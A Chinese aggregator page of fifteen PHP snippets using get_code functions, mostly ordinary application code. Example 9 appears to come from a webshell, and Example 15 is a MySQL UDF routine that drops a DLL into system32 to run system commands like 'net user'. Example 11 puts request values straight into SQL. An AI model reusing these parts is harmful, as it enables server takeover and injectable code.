本文整理汇总了PHP中get_code函数的典型用法代码示例。如果您正苦于以下问题:PHP get_code函数的具体用法?PHP get_code怎么用?PHP get_code使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了get_code函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: checkEnNameUnique
public function checkEnNameUnique($data)
{
$userModel = $this->getModel();
$result = $userModel->getUserByEnName($data);
if (false === $result) {
return data_pack(get_code('FIND_DATA_FAIL'), get_lang('OPERATION_FAIL'));
}
if ($result) {
return data_pack(get_code('DATA_REPEATE'), get_lang('DATA_REPEATE', $data['en_name']));
}
return data_pack(get_code('SUCC'));
}
示例2: get_code_block_link
function get_code_block_link($start_id, $end_id)
{
$res = get_code($start_id);
$file = $res['file'];
$line = $res['line'];
$res = get_code($end_id);
$file_end = $res['file'];
$line_end = $res['line'];
if ($file_end != $file) {
return "<div class=\"error\">Operation ends in a different file</div>";
}
return 'source.php' . "?file={$file}&line={$line}&first={$line}&last={$line_end}#{$line}";
}
示例3: index
public function index()
{
$valiRes = $this->runValidate();
if (!$valiRes['result']) {
return $this->isAjax() ? $this->ajaxReturn(get_code('PARAM_VALI_FAIL'), $valiRes['error']) : $this->showError($valiRes['error']);
}
$params = $this->runBefore($valiRes['data']);
$service = $this->getService();
$result = $service->index($params);
if (!is_succ_pack($result)) {
return $this->isAjax() ? $this->ajaxReturn($result) : $this->showError($result['error']);
}
$this->runAfter($params, $result['data']);
}
示例4: trivalIndex
/**
* 广度便利树形目录,找到code=>学科中文名字和树形结构
*/
function trivalIndex($url, &$className)
{
$isReadCache = false;
global $cacheDir;
$pattern1 = '/<a.*?onclick="ClickNode\\(\'(.*?)\',.*?>(.*?)<\\/a>/';
//目录的根节点
$pattern2 = '/<input type="checkbox" id="selectbox" value="(.*?)".*?name="(.*?)" .*?>/';
//有子目录的节点
$dir = get_code($url);
$fileName = "./index/{$cacheDir}/" . $dir . ".html";
$content = "";
if (file_exists($fileName)) {
echo "get file {$fileName} from cache\n";
$content = file_get_contents($fileName);
$isReadCache = true;
} else {
echo "get file {$fileName} from network\n";
$content = @file_get_contents($url);
save($fileName, $content);
$isReadCache = false;
}
$match = array();
$ret = preg_match_all($pattern1, $content, $match);
if (!$ret) {
$ret = preg_match_all($pattern2, $content, $match);
echo "[WARNNING] use pattern 2\n {$content}\n";
if (!$ret) {
//echo "not found $url\n";
save("./index/{$cacheDir}/{$cacheDir}.log", $url . "\n" . $content . "\n\n", "a+");
return;
}
}
$code = $match[1];
$name = $match[2];
for ($i = 0; $i < count($code); $i++) {
$namei = $name[$i];
$codei = $code[$i];
//var_dump($codei);
echo "\n{$namei} => {$codei}\n";
addCode($namei, $codei);
$className[$namei] = array();
$url = replace_code($codei);
trivalIndex($url, $className[$namei]);
if ($isReadCache == false) {
sleep(4);
}
}
}
示例5: run
public function run($name, $args)
{
$lastSeparator = strrpos($name, '_');
$rpcArgs = array('service' => substr($name, 0, $lastSeparator), 'method' => substr($name, $lastSeparator + 1), 'params' => $args);
try {
LoggerUtil::info('RPC CALL: ' . json_encode($rpcArgs, JSON_UNESCAPED_UNICODE));
$serviceName = $this->getServiceName($rpcArgs['service'], false);
$service = new $serviceName();
$methodName = $rpcArgs['method'];
if (!method_exists($service, $methodName)) {
throw new \Exception(get_lang('METHOD_NOT_FOUND', $methodName));
}
$result = call_user_func_array(array($service, $methodName), $rpcArgs['params']);
LoggerUtil::info('RPC SUCC: ' . json_encode($result, JSON_UNESCAPED_UNICODE));
return $result;
} catch (\Exception $e) {
LoggerUtil::error('RPC FAIL: ' . $e->getMessage());
return data_pack(get_code('REMOTE_RPC_FAIL'), $e->getMessage());
}
}
示例6: short
?>
<li>
<div>
<?php
if (isset($trace['file'])) {
?>
in <?php
echo short($trace['file'], DIRECTORY_SEPARATOR);
?>
line <?php
echo $trace['line'];
?>
<span class="collapse-syntac active">+</span>
<div class="syntac">
<?php
$syntax = get_code($trace['file'], $trace['line']);
?>
<pre class="brush: php; toolbar: false; highlight: [<?php
echo $trace['line'];
?>
]; first-line:[<?php
echo $syntax['start'];
?>
]"><?php
echo $syntax['code'];
?>
</pre>
</div>
<?php
}
?>
示例7: get_question
echo '<div id="exercise-pane"></div>';
if ($exerid == 0) {
echo '<h2>Tập viết chương trình</h2>';
} else {
$question = get_question($exerid);
echo '<h2>Bài số ' . $exerid . '</h2>';
echo '<p class="question">' . $question . '</p>';
}
?>
<div id="left">
<table class="large">
<tr>
<td>
<textarea name="code" id="code">
<?php
echo get_code($exerid, $username);
?>
</textarea>
</td>
</tr>
<tr>
<td>
<input type="button" onclick="compileFunct('<?php
echo $filename;
?>
.pas', <?php
echo $exerid;
?>
)" class="btn" value="Biên dịch" id="compile">
</td>
</tr>
示例8: afterSave
public function afterSave($params, $result)
{
$result['hoppy'] = explode(",", $result['hoppy']);
return $this->ajaxReturn(get_code('SUCC'), null, $result);
}
示例9: adds
if (isset($_GP['x']) && $_GP['x'] == 'ps') {
echo "ps";
}
?>
';
var sself = '<?php
echo adds($s_self);
?>
';
var hexcounter = 0;
var hextimer = '';
var counter = 0;
</script>
<?php
echo get_code("js", $s_js);
?>
<script type='text/javascript'>
domready(function(){
<?php
if (isset($_GP['cmd'])) {
echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();";
}
?>
<?php
if (isset($_GP['evalcode'])) {
echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();";
}
?>
<?php
if (isset($_GP['sqlcode'])) {
示例10: get_code
<?php
require_once 'common.php';
function get_code($id = 0, $name = '')
{
$pID = intval($id);
$pName = check_sql($name);
$query = "SELECT ID,Name,Type,Author,Time,Version,Web,Description,Code FROM Plugin";
if (is_int($pID) and $pID > 0) {
$query .= " WHERE ID={$pID}";
} elseif ($pName != '') {
$query .= " WHERE Name={$pName}";
}
// print($query.'<br>');
// $ret = array('data' => array(), );
$result = mysql_query($query);
if ($row = mysql_fetch_row($result)) {
foreach ($row as $key => $value) {
// echo $key.' => '.$value;
$row[$key] = check_xss($value);
}
$ret['data'][] = $row;
return $ret;
}
}
$name = check_sql(trim($_REQUEST['name']));
$id = check_sql(trim($_REQUEST['id']));
// echo '$id='.$id.'<br>';
$data = get_code($id, $name);
echo json_encode($data);
示例11: do_register
function do_register()
{
$network = get_network();
switch ($_GET['status']) {
case 'check':
$user_or_code = get_user();
if (!$user_or_code) {
$user_or_code = get_code();
}
if (!$user_or_code) {
echo 'available';
} else {
echo 'taken';
}
return;
case 'new_code':
$sql = 'INSERT INTO ' . db_table('codes') . ' (network_id, username, password, valid_from, created, ' . access_control_fields() . ') ' . 'VALUES (' . $network['id'] . ',\'' . $_GET['user'] . '\',\'' . $_GET['pass'] . '\', now(), now(), ' . access_control_values($network, 'defcode') . ')';
$resource = 'codes';
break;
case 'new_user':
$sql = 'INSERT INTO ' . db_table('users') . ' (network_id, username, password, valid_from, created, ' . access_control_fields() . ') ' . 'VALUES (' . $network['id'] . ',\'' . $_GET['user'] . '\',\'' . $_GET['pass'] . '\', now(), now(), ' . access_control_values($network, 'defuser') . ')';
$resource = 'users';
break;
}
db_query($sql, false);
$id = db_lastid();
if ($id) {
$input = $_POST;
if (!$input) {
$input = file_get_contents("php://input");
}
$lines = preg_split("/\n+/", $input);
$attrs = array();
foreach ($lines as $line) {
$p = preg_split('/[=: ]+/', $line, 2);
if ($p[0] && $p[1]) {
$attrs[$p[0]] = $p[1];
}
}
save_attributes($id, $resource, $attrs);
}
}
示例12: print_royalty_sales
function print_royalty_sales()
{
$from = $_POST['PARAM_0'];
$to = $_POST['PARAM_1'];
$item = $_POST['PARAM_2'];
$status = $_POST['PARAM_3'];
$destination = $_POST['PARAM_4'];
$orientation = $_POST['PARAM_5'];
global $path_to_root, $systypes_array;
if ($destination) {
include_once $path_to_root . "/reporting/includes/excel_report.inc";
} else {
include_once $path_to_root . "/reporting/includes/pdf_report.inc";
}
$result = fetchRoyalty($item);
$name = "";
while ($book = db_fetch($result)) {
$name = $book[1];
}
$params = array(0 => $comments, 1 => array('text' => _('Item'), 'from' => $name));
$orientation = $orientation ? 'L' : 'P';
$dec = user_price_dec();
$cols = array(0, 200, 210, 300, 310, 360, 380, 430, 440, 490, 500, 550);
$headers = array(_('Client'), '', _('IMC'), '', _('Invoice/CM #'), '', _('Date'), '', _('Quantity'), '', _('Status'));
$aligns = array('left', 'left', 'left', 'left', 'right', 'right');
$usr = get_user($user);
$user_id = $usr['user_id'];
$rep = new FrontReport(_('Royalty Sales'), "RoyaltySales", user_pagesize(), 9, $orientation);
if ($orientation == 'L') {
recalculate_cols($cols);
}
$rep->SetHeaderType('Header');
$rep->Font();
$rep->Info($params, $cols, $headers, $aligns);
$rep->NewPage();
if ($item == '') {
$no_title_print = false;
$enter = true;
} else {
$no_title_print = true;
$enter = false;
}
if ($no_title_print) {
$rep->Font('bold');
$rep->TextCol(0, 1, $item);
$rep->TextCol(2, 10, fetchTitle($item));
$rep->Font();
}
$total = 0;
$total_invoice_qty = 0;
$total_credit_qty = 0;
$rep->NewLine();
if ($item == "") {
$code = array();
$ItemCode = fetchItemCode();
while ($r = db_fetch($ItemCode)) {
array_push($code, $r[0]);
}
$total = 0;
$total_invoice_qty = 0;
$total_credit_qty = 0;
foreach ($code as $codes) {
$result = fetchRoyalty($codes, $status, $from, $to);
$bookname = fetchTitle($codes);
$rep->Font('bold');
$rep->TextCol(0, 5, $codes . "-" . $bookname);
$rep->Font();
$rep->NewLine();
while ($myrow = db_fetch($result)) {
if ($myrow['alloc'] == $myrow['ov_amount']) {
$stat = 'Closed';
}
if ($myrow['alloc'] < $myrow['ov_amount']) {
$stat = 'Open';
}
$scode = get_code($myrow['salesman']);
$salesman = get_salesman_name($myrow['salesman']);
$total_invoice_qty += $myrow[3];
$clientName = get_customer_name($myrow[0]);
$rep->TextCol(0, 1, $clientName);
$rep->TextCol(2, 3, $scode);
$rep->TextCol(4, 5, ' ' . $myrow['customized_no']);
$rep->TextCol(6, 7, $myrow['tranDate']);
$rep->TextCol(8, 9, $myrow['quantity']);
$rep->TextCol(10, 11, $stat);
$rep->NewLine();
}
$result1 = fetchCreditMemo($codes, $status, $from, $to);
while ($myrow1 = db_fetch($result1)) {
if ($myrow1[3] > 0) {
if ($myrow1['alloc'] == $myrow1['ov_amount']) {
$stat = 'Closed';
}
if ($myrow1['alloc'] < $myrow1['ov_amount']) {
$stat = 'Open';
}
}
$qty = -$myrow1['quantity'];
$total_credit_qty += $qty;
$scode = get_code($myrow1['salesman']);
//.........这里部分代码省略.........
示例13: get_payment
$smarty->assign('payment', get_payment());
$order_id = intval($_GET['order_id']);
$myorder = get_order_one($_SESSION['uid'], $order_id);
$payment = get_payment_info($myorder['payment_name']);
if (empty($payment)) {
showmsg("支付方式错误!", 0);
}
$fee = number_format($amount / 100 * $payment['fee'], 1, '.', '');
//手续费
$order['oid'] = $myorder['oid'];
//订单号
$order['v_url'] = $_CFG['site_domain'] . $_CFG['site_dir'] . "include/payment/respond_" . $payment['typename'] . ".php";
$order['v_amount'] = $myorder['amount'] + $fee;
if ($myorder['payment_name'] != 'remittance' && $myorder['payment_name'] != 'weixinpay') {
require_once QISHI_ROOT_PATH . "include/payment/" . $payment['typename'] . ".php";
$payment_form = get_code($order, $payment);
if (empty($payment_form)) {
showmsg("在线支付参数错误!", 0);
}
} elseif ($myorder['payment_name'] == 'weixinpay') {
require_once QISHI_ROOT_PATH . 'include/payment/native.php';
$smarty->assign('w_url', urlencode($url2));
fopen(QISHI_ROOT_PATH . 'data/wxpay/' . $myorder['oid'] . '.tmp', "w") or die("无法打开缓存文件!");
$_SESSION['wxpay_no'] = $myorder['oid'];
}
$smarty->assign('points', get_user_points($_SESSION['uid']));
$smarty->assign('title', '付款 - 猎头会员中心 - ' . $_CFG['site_name']);
$smarty->assign('fee', $fee);
$smarty->assign('amount', $myorder['amount']);
$smarty->assign('oid', $order['oid']);
$smarty->assign('byname', $payment);
示例14: get_code
echo get_code($line_d[0]);
?>
"><?php
echo $id;
?>
</a>:<?php
echo $line_d[2];
?>
(<?php
echo $cur_code_usage[1] == '0' ? '<span class="text-muted">未使用</span>' : '<span class="text-danger">已使用</span>';
?>
<span class="badge" title="查询次数"><?php
echo $cur_code_usage[2];
?>
</span>,<code><?php
echo get_code($id);
?>
</code>)<ul><li><?php
echo $line_d[3];
?>
(<?php
echo $line_d[1];
?>
)</li></ul></li>
<?php
}
?>
</ul>
<?php
}
if ($pagetype == 'adminedit') {
示例15: Mysql_u
function Mysql_u()
{
extract($_POST);
extract($_GET);
$mysql_hostname = $mysql_hostname ? $mysql_hostname : "localhost";
$mysql_username = $mysql_username ? $mysql_username : "root";
$post_sql = $post_sql ? $post_sql : "select state(\"net user\")";
$mysql_dbname = $mysql_dbname ? $mysql_dbname : "mysql";
if ($install) {
$link = mysql_connect($mysql_hostname, $mysql_username, $mysql_passwd) or die(mysql_error());
mysql_select_db($mysql_dbname, $link) or die(mysql_error());
@mysql_query("DROP TABLE udf_temp", $link);
$query = "CREATE TABLE udf_temp (udf BLOB);";
if (!($result = mysql_query($query, $link))) {
die('创建临时表失败' . mysql_error());
} else {
$code = get_code();
$query = "INSERT into udf_temp values (CONVERT({$code},CHAR));";
if (!mysql_query($query, $link)) {
mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
die('安装dll失败' . mysql_error());
} else {
$dllname = "mysqlDll.dll";
if (file_exists("c:\\windows\\system32\\")) {
$dir = "c:\\\\windows\\\\system32\\\\mysqlDll.dll";
} elseif (file_exists("c:\\winnt\\system32\\")) {
$dir = "c:\\\\winnt\\\\system32\\\\mysqlDll.dll";
}
if (file_exists($dir)) {
$time = time();
$dir = str_replace("mysqlDll", "mysqlDll_{$time}", $dir);
$dllname = str_replace("mysqlDll", "mysqlDll_{$time}", $dllname);
}
$query = "SELECT udf FROM udf_temp INTO DUMPFILE '" . $dir . "';";
if (!mysql_query($query, $link)) {
die("安装失败:{$dir无权}" . mysql_error());
} else {
echo '<font style=font:11pt color=ff0000>' . $dir . '安装成功</font><br>';
}
}
mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
$result = mysql_query("Create Function state returns string soname '{$dllname}'", $link) or die(mysql_error());
if ($result) {
echo "成功<br><a href='?'>返回</a>";
exit;
}
}
}
?>
<form method="post" action="?s=ee"><div class="actall">Host:<input name="mysql_hostname" value="<?php
echo $mysql_hostname;
?>
" type="text" style="width:100px" >
User:<input name="mysql_username" value="<?php
echo $mysql_username;
?>
" type="text" style="width:70px"> Password:<input type="password" name="mysql_passwd" value="<?php
echo $mysql_passwd;
?>
" style="width:70px"> DB:<input name="mysql_dbname" value="<?php
echo $mysql_dbname;
?>
" type="text" style="width:70px"> <input class="bt" name="install" type="submit" value="安装"><br><br>
sql执行:<br>
<textarea name="post_sql" cols="80" rows="10"><?php
echo stripslashes($post_sql);
?>
</textarea><br>
<input class="bt" name="" type="submit" value="执行"><br></form>
回显:</div>
<?php
if ($_POST[post_sql]) {
$link = mysql_connect($mysql_hostname, $mysql_username, $mysql_passwd) or die(mysql_error());
if ($mysql_dbname) {
mysql_select_db($mysql_dbname, $link) or die(mysql_error());
}
$query = stripslashes($post_sql);
$result = mysql_query($query, $link) or die(mysql_error());
?>
<br><textarea name="post_sql" style="width:610px;height:180px;">
<?php
echo $result ? "Done:{$result}\n\n" : "error:{$result}\n\n " . mysql_error();
while ($row = @mysql_fetch_array($result)) {
print_r($row);
}
}
?>
</textarea>
<?php
}